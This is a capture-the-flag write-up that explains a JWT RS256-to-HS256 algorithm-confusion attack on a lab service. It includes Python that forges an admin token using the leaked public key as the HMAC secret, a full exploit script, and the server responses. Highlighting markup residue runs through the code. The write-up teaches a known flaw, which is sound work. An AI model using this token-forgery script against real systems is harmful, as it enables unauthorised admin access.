Confused Deputy — Web Exploitation Writeup
Category: Web Exploitation
Difficulty: Easy
Author: LordSudo
Flag: africc{alg_confusion_3v3rywh3r3}
Overview
The service authenticates users with a JWT signed with RS256. It also publicly serves its RSA public key and — because of an insecure JWT library configuration — accepts HS256 tokens signed with that very public key. This is the classic RS256 → HS256 algorithm confusion attack (the "confused deputy" problem: a privileged verifier can be tricked into using attacker-controlled material as the validation key). By re-signing a token with role: admin using the public key as an HMAC secret, we escalate to admin and read the flag.
Step 1 — Reconnaissance
1.1 The briefing page
GET / returns a case file ("Confused Deputy") with issued credentials:
| Username | Password |
|---|---|
guest |
guest123 |
analyst |
hunting4bugs |
"Both accounts above are standard users. No admin credentials have been issued to anyone."
1.2 The API map
GET /api reveals the surface:
{"endpoints":["/api/login","/api/whoami","/api/admin","/api/debug"],"service":"confused-deputy"}Step 2 — Authentication & information gathering
2.1 Login
POST /api/login
Content-Type: application/json
{"username":"analyst","password":"hunting4bugs"}{"token":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbmFseXN0Iiwicm9sZSI6InVzZXIiLCJ1aWQiOjEwMDIsImlhdCI6MTc4NjA4NDU1OSwiZXhwIjoxNzg2MDkxNzU5fQ.BOf4xZOch51IffY6XoPHI29vdVzE2_g81vbuxcsJ4-iR..."}Decoding the JWT:
{"alg":"RS256","typ":"JWT"}
{"sub":"analyst","role":"user","uid":1002,"iat":1786084559,"exp":1786091759}So the role is baked into the JWT. /api/whoami confirms we're a plain user.
2.2 The debug endpoint leaks intent
GET /api/debug
Authorization: Bearer <token>{"build":"confused-deputy-svc-2.3.1","commit":"a1c9e02","env":"staging",
"internal_note":"TODO: rotate signing keys before GA (ticket OPS-4471)"}A strong hint: the signing key handling is insecure and pending rotation.
2.3 The public signing key is exposed
GET /.well-known/jwks.json{"note":"RSA public key for RS256 token verification.",
"public_key_pem":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...\n-----END PUBLIC KEY-----\n"}We confirmed this key actually verifies our real RS256 token — it is the genuine signing key.
2.4 /api/admin is role-gated
GET /api/admin
Authorization: Bearer <token>{"error":"forbidden \u2014 admin role required"}To read the flag we need role: admin in a validly-signed token. We only have the public key, not the private one.
Step 3 — Finding the vulnerability
We probed which algorithms the server will accept:
| Algorithm | Server response |
|---|---|
none |
unsupported alg: none |
ES256 |
unsupported alg: ES256 |
HS256 |
signature verification failed |
Only RS256 and HS256 are supported, and the error for HS256 is "signature verification failed" — meaning the server does attempt to validate HS256 tokens against some shared secret.
That's the confused-deputy condition: the verifier will happily use HMAC (HS256) verification, and the only secret material it has configured is the RSA public key. Classic algorithm confusion.
Critical detail: the exact bytes of the secret must match what the server holds. The JWKS response returns the PEM with a single trailing \n. Copying the PEM to a file and appending extra newlines breaks the signature. Using the exact PEM string from /.well-known/jwks.json (as returned, with the trailing newline) works.
Step 4 — Exploit: RS256 → HS256 algorithm confusion
Forge an HS256 token claiming role: admin, signing it with the RSA public key PEM as the HMAC key:
import base64, json, hmac, hashlib, time
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(bclass="hljs-string">'=')
pem = json.loads(get(class="hljs-string">"/.well-known/jwks.json"))[class="hljs-string">"public_key_pem"] # exact string
header = {class="hljs-string">"alg": class="hljs-string">"HS256", class="hljs-string">"typ": class="hljs-string">"JWT"}
payload = {class="hljs-string">"sub": class="hljs-string">"analyst", class="hljs-string">"role": class="hljs-string">"admin", class="hljs-string">"uid": 1002,
class="hljs-string">"iat": now, class="hljs-string">"exp": now + 7200}
h = b64url(json.dumps(header, separators=(class="hljs-string">',', class="hljs-string">':')).encode())
p = b64url(json.dumps(payload, separators=(class="hljs-string">',', class="hljs-string">':')).encode())
sig = hmac.new(pem.encode(), h + bclass="hljs-string">'.' + p, hashlib.sha256).digest()
forged = h.decode() + class="hljs-string">'.' + p.decode() + class="hljs-string">'.' + b64url(sig).decode()Verify our new identity:
GET /api/whoami
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbmFseXN0Iiw...{"role":"admin","sub":"analyst","uid":1002}We are now an admin.
Step 5 — Capture the flag
GET /api/admin
Authorization: Bearer <forged HS256 admin token>{"flag":"africc{alg_confusion_3v3rywh3r3}","message":"Welcome, admin."}Flag
africc{alg_confusion_3v3rywh3r3}Full exploit script
import base64, json, hmac, hashlib, time, urllib.request, urllib.error
BASE = class="hljs-string">"https://12e032a044be.labs.ctfroom.com"
UA = class="hljs-string">"Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0"
def b64url(data):
if isinstance(data, str): data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(bclass="hljs-string">'=')
def http(path, method=class="hljs-string">"GET", data=None, headers=None):
hdrs = {class="hljs-string">"User-Agent": UA}
if headers: hdrs.update(headers)
body = json.dumps(data).encode() if data is not None else None
if body is not None and class="hljs-string">"Content-Type" not in hdrs:
hdrs[class="hljs-string">"Content-Type"] = class="hljs-string">"application/json"
r = urllib.request.Request(BASE + path, method=method, data=body, headers=hdrs)
try:
return urllib.request.urlopen(r, timeout=15).read().decode()
except urllib.error.HTTPError as e:
return class="hljs-string">"HTTP %d: %s" % (e.code, e.read().decode())
token = json.loads(http(class="hljs-string">"/api/login", class="hljs-string">"POST", {class="hljs-string">"username":class="hljs-string">"analyst",class="hljs-string">"password":class="hljs-string">"hunting4bugs"}))[class="hljs-string">"token"]
pem = json.loads(http(class="hljs-string">"/.well-known/jwks.json"))[class="hljs-string">"public_key_pem"]
now = int(time.time())
payload = {class="hljs-string">"sub":class="hljs-string">"analyst",class="hljs-string">"role":class="hljs-string">"admin",class="hljs-string">"uid":1002,class="hljs-string">"iat":now,class="hljs-string">"exp":now+7200}
h = b64url(json.dumps({class="hljs-string">"alg":class="hljs-string">"HS256",class="hljs-string">"typ":class="hljs-string">"JWT"}, separators=(class="hljs-string">',',class="hljs-string">':')).encode())
p = b64url(json.dumps(payload, separators=(class="hljs-string">',',class="hljs-string">':')).encode())
sig = hmac.new(pem.encode(), h+bclass="hljs-string">'.'+p, hashlib.sha256).digest()
forged = h.decode()+class="hljs-string">'.'+p.decode()+class="hljs-string">'.'+b64url(sig).decode()
print(http(class="hljs-string">"/api/whoami", headers={class="hljs-string">"Authorization":class="hljs-string">"Bearer "+forged}))
print(http(class="hljs-string">"/api/admin", headers={class="hljs-string">"Authorization":class="hljs-string">"Bearer "+forged}))Summary of vulnerabilities
- Public signing key disclosure —
/.well-known/jwks.jsonexposes the RSA public key used to verify tokens. - JWT algorithm confusion (confused deputy) — the server accepts
HS256tokens verified with the RSA public key as the HMAC secret, allowing forgery of arbitrary tokens (here:role: admin). - Excessive privilege in the token —
roleis trusted from the signed claims, so escalating to admin unlocks/api/adminwhich returns the flag.
The title "Confused Deputy" refers to the classic problem where a higher-privileged process (the JWT verifier) can be misled into using attacker-controlled material (the public key) to validate untrusted input.